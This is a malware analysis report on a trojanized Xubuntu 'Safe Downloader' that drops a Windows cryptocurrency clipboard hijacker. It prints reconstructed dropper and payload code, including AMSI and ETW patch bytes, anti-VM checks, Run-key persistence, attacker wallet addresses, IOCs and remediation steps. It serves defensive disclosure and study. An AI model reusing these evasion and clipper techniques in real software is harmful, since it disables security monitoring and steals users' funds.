Users noticed that the xubuntu.org website was serving a .zip file instead of the expected .torrent files.

TL;DR: The malware is a simple two-stage cryptocurrency clipboard hijacker that monitors the Windows clipboard for cryptocurrency wallet addresses and replaces them with attacker-controlled addresses. The malware supports 7 different cryptocurrencies and employs multiple fairly standard anti-analysis and evasion techniques.

Key points:

  • Two-stage deployment (.NET dropper → Native payload)
  • User-triggered deployment (requires button click)
  • Anti-debugging and anti-VM detection
  • ETW/AMSI patching for security evasion
  • 5-minute delayed activation for sandbox evasion
  • Registry persistence
  • Multi-cryptocurrency clipboard hijacking (Bitcoin, Ethereum, Litecoin, Dogecoin, Tron, Ripple, Cardano)
  • String obfuscation (XOR encryption)
  • Complete offline operation (no network IOCs)

1 Stage 1 — .NET dropper

1.1 Overview

The first stage is a .NET WPF application disguised as “TestCompany.SafeDownloader” - a fake Ubuntu/Xubuntu ISO download utility that serves as a delivery mechanism for the second stage payload.

1.2 Application Start

The application starts normally as a WPF GUI application and displays a legitimate-looking window titled “Xubuntu — Safe Downloader”.

Figure 1: Malicious Xubuntu downloader GUI

The user is instructed to choose one of the available Xubuntu versions, the package type and to then click “Generate Link”. Clicking the “Generate Link” button triggers the deployment of the second stage in the background.

1.3 Deployment trigger mechanism

The excerpt below shows the event handler for the “Generate Link” button, where on line 28 you can see the call to W.UnPRslEqVw() which handles the stage 2 deployment.



1// MainWindow.xaml.cs:21-66
2private void BtnGenerate_Click(object sender, RoutedEventArgs e)
3{
4 try {
5 // 1. Determine selected Xubuntu version
6 string url, version;
7 if (RbWin7.IsChecked) {
8 url = "https://releases.ubuntu.com/noble/xubuntu-24.04.3-desktop-amd64.iso";
9 version = "Xubuntu 24.04.3 LTS – Noble Numbat";
10 }
11 else if (RbWin8.IsChecked) {
12 url = "https://releases.ubuntu.com/25.10/xubuntu-25.10-desktop-amd64.iso";
13 version = "Xubuntu 25.10 – Questing Quokka";
14 }
15 else {
16 url = "https://releases.ubuntu.com/25.04/xubuntu-25.04-desktop-amd64.iso";
17 version = "Xubuntu 25.04 – Plucky Puffin";
18 }
19
20 // 2. Display legitimate Ubuntu ISO link
21 TxtLink.Text = url;
22
23 // 3. Enable copy/open buttons
24 BtnCopy.IsEnabled = true;
25 BtnOpen.IsEnabled = true;
26
27 // 4. Deploy stage 2
28 W.UnPRslEqVw();
29 }
30 catch (Exception ex) {
31 MessageBox.Show("Error while generating link:\n" + ex.Message,
32 "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
33 }
34}

1.4 Deployment of stage 2

Before deploying stage 2, stage 1 ensures it doesn’t deploy stage 2 multiple times:



1public static void UnPRslEqVw()
2{
3 if (W.alreadyExecuted) {
4 return; // Exit immediately if already deployed
5 }
6 W.alreadyExecuted = true; // Set flag to prevent re-deployment

Next, there are anti-analysis checks:



1W.AntiAnalysis(); // Calls CheckDebugger() and IsVM()

These call Environment.Exit(0) if any of the Debugger.IsAttached and kernel32!IsDebuggerPresent return true or strings queried from the BIOS using System.Management.ManagementObjectSearcherfor Manufacturer or Model contain “microsoft corporation” and “virtual”, “vmware”, “virtualbox”, “qemu” or “parallels”.

If anti-analysis checks pass, the Antimalare Scanning Interface (AMSI) and Event Tracing for Windows (ETW) functionality is patched, to limit the ability of security products to monitor the program’s behavior:



1// (pseude-code)
2
3// Patch amsi.dll!AmsiScanBuffer
4LoadLibrary("amsi.dll");
5GetProcAddress("AmsiScanBuffer");
6VirtualProtect(PAGE_EXECUTE_READWRITE);
7// 0: 31 c0 xor eax,eax
8// 2: c3 ret
9WriteBytes([0x31, 0xc0, 0xc3]);
10
11// Patch ntdll.dll!EtwEventWrite
12LoadLibrary("ntdll.dll");
13GetProcAddress("EtwEventWrite");
14VirtualProtect(PAGE_EXECUTE_READWRITE);
15WriteBytes([0xC3]); // ret

Afterwards, if the file doesn’t exist, yet, the malware is deployed to %APPDATA%\osn10963\elzvcf.exe:



1string dir = "osn10963"; // Decoded from "mISZxsfOwcQ="
2string file = "elzvcf.exe"; // Decoded from "kpuNgZSR2ZKPkg=="
3string fullPath = Path.Combine(Environment.GetFolderPath(ApplicationData), dir, file);
4
5if (!File.Exists(fullPath)) {
6 // 1. Create directory
7 CreateDirectoryNative(%APPDATA%\osn10963);
8
9 // 2. Write Stage 2 payload to .tmp file
10 WriteFileNative(elzvcf.tmp, [Stage2_PE_bytes]);
11
12 // 3. Set HIDDEN attribute
13 SetAttributesNative(elzvcf.tmp, FILE_ATTRIBUTE_HIDDEN);
14
15 // 4. Rename .tmp → .exe
16 MoveFileNative(elzvcf.tmp, elzvcf.exe);
17
18 // 5. Set HIDDEN attribute
19 SetAttributesNative(elzvcf.exe, FILE_ATTRIBUTE_HIDDEN);
20 SetAttributesNative(osn10963, FILE_ATTRIBUTE_HIDDEN);
21
22 // 6. Random delay (1-3 seconds)
23 NativeDelay(Random.Next(1, 3));
24
25 // 7. Registry persistence
26 SetRegistryPersistence(%APPDATA%\osn10963\elzvcf.exe,
27 "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run");
28}

Finally, if the process isn’t already running, it is launched:



1if (W.IsAlreadyRunning(text6)) {
2 return; // Exit if Stage 2 already running
3}


1W.ExecuteNative(text6); // Launch %APPDATA%\osn10963\elzvcf.exe

ExecuteNative is slightly obfuscated, it decodes "9/f3/w==", xors it with 247 and then interprets it as the number 0x08000000, which is the CREATE_NO_WINDOW flag.

1.5 Stage 1 Summary

In summary, the user is presented with a somewhat convincing Ubuntu ISO download UI. Stage 2 of the malware is only executed if the user presses the “Generate Link” button and several anti-analysis checks pass. The malware hides its stage 2 executable and installs a registry run key for persistence.

2 Stage 2 — Crypto clipper

The second stage is a native x64 Windows executable that monitors the clipboard and replaces any cryptocurrency address it detects with an attacker-controlled address.

2.1 Entry point

The entry point is _start at 0x140001000. Using the mutex Global\{D69FE10A-B163-68I2I7-6I7B0-3A9I2386F6393}, it checks whether the program is already running:



1NtCreateMutant(&handle, 0x1f0001, &attributes, 1)
2if (status == 0xc0000035) // STATUS_OBJECT_NAME_COLLISION
3 ExitProcess(0);

Next, it tries to detect debuggers and virtual machines:



1NtQuerySystemTime(&start_time);
2NtDelayExecution(0, -10000000); // 1 second
3NtQuerySystemTime(&end_time);
4if ((end_time - start_time) < 9000000) // Less than 0.9 seconds
5 ExitProcess(0);

Next, it calls sub_140001580(), which is meant to take some time to compute:



1// 0x140001580
2double sub_140001580()
3{
4 double result = 3.1415926535897931;
5 double _X = result;
6
7 for (int32_t i = 0; i < 1000; i += 1)
8 {
9 result = tan(log(_X) * pow(_X, 2.0));
10 _X = result;
11 }
12
13 return result;
14}

I think it was meant to be part of an anti-analysis check, but I don’t see a check for the system time after the call to sub_140001580(). Afterwards, it looks for a debugger and checks for a hypervisor using CPUID:



1if (IsDebuggerPresent())
2 // Anti-debug detected
3
4__cpuid(1, 0)
5if (cpuid_result < 0) // Hypervisor bit check
6 // VM detected

The address of RegOpenKeyExA is made writable using NtProtectVirtualMemory, but nothing seems to be done to it afterwards:



1 FARPROC reg_func = RegOpenKeyExA;
2 SIZE_T size = 8;
3 DWORD old_protect;
4
5 NtProtectVirtualMemory(GetCurrentProcess(),
6 &reg_func,
7 &size,
8 PAGE_EXECUTE_READWRITE,
9 &old_protect);

Next, it also patches ETW to disable event tracing, just like the first stage did:



1EtwEventWrite_ptr = GetProcAddress(ntdll, "EtwEventWrite");
2NtProtectVirtualMemory(CurrentProcess, &EtwEventWrite_ptr, 4, PAGE_EXECUTE_READWRITE, &old_protect);
3*EtwEventWrite_ptr = 0xC3; // RET instruction
4NtProtectVirtualMemory(CurrentProcess, &EtwEventWrite_ptr, 4, old_protect, &old_protect);

2.2 Clipboard monitoring

Still in _start, the program initializes a hidden message-only window to receive clipboard update notifications:



1WNDCLASSEXA wndClass;
2wndClass.cbSize = 0x50;
3wndClass.style = 0;
4wndClass.lpfnWndProc = sub_1400014a0; // Message handler
5wndClass.lpszClassName = "User3I"; // Obfuscated: "@fpg&'" XOR 0x15
6
7RegisterClassExA(&wndClass);
8HWND hwnd = CreateWindowExA(WS_EX_LEFT, "User3I", NULL, WS_OVERLAPPED,
9 0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL);
10AddClipboardFormatListener(hwnd); // Register for clipboard notifications

sub_1400014a0 handles clipboard updates:



1if (message == WM_CLIPBOARDUPDATE) {
2 validate_pe_checksum();
3 NtQuerySystemTime(&current_time);
4
5 // Only process clipboard every 5 minutes (300 seconds)
6 if (current_time - last_system_time > 0x11e1a300) { // 300,000,000 * 100ns = 5 min
7 // Perform anti-debug checks
8 if (!IsDebuggerPresent() && !(__cpuid() & HYPERVISOR_BIT)) {
9 process_clipboard_crypto_address(); // sub_1400016b0
10 }
11 }
12}

2.3 Clipboard processing Logic

process_clipboard_crypto_address() (sub_1400016b0) handles processing of the clipboard data. First, it checks if clipboard contains text (CF_TEXT or CF_UNICODETEXT), before opening the clipboard and getting the data. It validates address length (25-80 characters) and format (alphanumeric with : or _) and then detects the cryptocurrency type and decrypting the corresponding attacker-controlled address by XORing the obfuscated address with 0x15:



1// Bitcoin
2if ((address[0] - 0x31) & 0xFD == 0 || strncmp(address, "bc1", 3) == 0)
3 // replace with bc1qrzh7d0yy8c3arqxc23twkjujxxaxcm08uqh60v
4// Ethereum
5if (strncmp(address, "0x", 2) == 0)
6 // replace with 0x10A8B2e2790879FFCdE514DdE615b4732312252D
7// Litecoin
8if (strncmp(address, "ltc1", 4) == 0 || (address[0] - 0x4C) <= 1)
9 // replace with LQ4B4aJqUH92BgtDseWxiCRn45Q8eHzTkH
10// Dogecoin
11if (address[0] == 'D')
12 // replace with DQzrwvUJTXBxAbYiynzACLntrY4i9mMs7D
13// Tron
14if (address[0] == 'T')
15 // replace with TW93HYbyptRYsXj1rkHWyVUpps2anK12hg`
16// Ripple
17if (address[0] == 'r')
18 // replace with r9vQFVwRxSkpFavwA9HefPFkWaWBQxy4pU
19// Cardano
20if (strncmp(address, "addr1", 5) == 0)
21 // replace with addr1q9atfml5cew4hx0z09xu7mj7fazv445z4xyr5gtqh6c9p4r6knhlf3jatwv7y72deah9un6yettg92vg8gskp04s2r2qren6tw

2.3.1 String decryption

xor_decrypt_buffer() (at 0x140001ef0, but also inlined into process_clipboard_crypto_address) applies XOR decryption with key 0x15 to decrypt the obfuscated cryptocurrency addresses:

Algorithm:



1char* xor_decrypt_buffer(char* input, size_t length) {
2 for (size_t i = 0; i < length; i++) {
3 output[i] = input[i] ^ 0x15;
4 }
5 output[length] = 0;
6 return output_buffer;
7}

2.4 Self-protection

The malware also frequently validates its own PE checksum to detect modifications. This is done in sub_140001db0:



1bool validate_pe_checksum()
2{
3 IMAGE_DOS_HEADER* module_base = GetModuleHandleA(nullptr);
4
5 if (!module_base || module_base->e_magic != 0x5a4d)
6 return false;
7
8 IMAGE_NT_HEADERS64* pe_header = (IMAGE_NT_HEADERS64*)((uint8_t*)module_base + module_base->e_lfanew);
9
10 if (pe_header->Signature != 0x4550)
11 return false;
12
13 // Calculate checksum
14 uint32_t size = pe_header->OptionalHeader.SizeOfCode;
15 uint8_t* data = (uint8_t*)pe_header->OptionalHeader.ImageBase;
16 uint32_t checksum = 0;
17
18 for (int32_t i = 0; i < size; i++)
19 {
20 checksum += data[i];
21 }
22
23 // Verify checksum
24 uint32_t expected = pe_header->OptionalHeader.CheckSum;
25 if (expected != 0 && checksum != expected)
26 {
27 // Anti-debugging delay loop
28 for (int32_t i = 0; i < 100000; i++)
29 {
30 // Busy wait
31 }
32 return false;
33 }
34
35 return true;
36}

3 IOCs

  • Hashes
    • TestCompany.SafeDownloader.exe
      • md5: 98ade2e1c710dde70cd156d541515dcf
      • sha256: ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826
    • elzvcf.exe
      • md5: efecd49bf2acdc0b15b492fd48024a5d
      • sha256: afaebc6cf20f32ea0644f69c511a5da12f3b860f7d13b18500051830337965d7
  • Files
    • %APPDATA%\osn10963\elzvcf.exe
    • %APPDATA%\osn10963\elzvcf.tmp (temporary)
  • Registry Entry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<random-6-chars> = %APPDATA%\osn10963\elzvcf.exe
  • Mutex: Global\{D69FE10A-B163-68I2I7-6I7B0-3A9I2386F6393}
  • Window Class: User3I

4 Remediation

  1. Kill malicious process (elzvcf.exe)
  2. Remove %APPDATA%\osn10963\ directory
  3. Delete registry persistence entry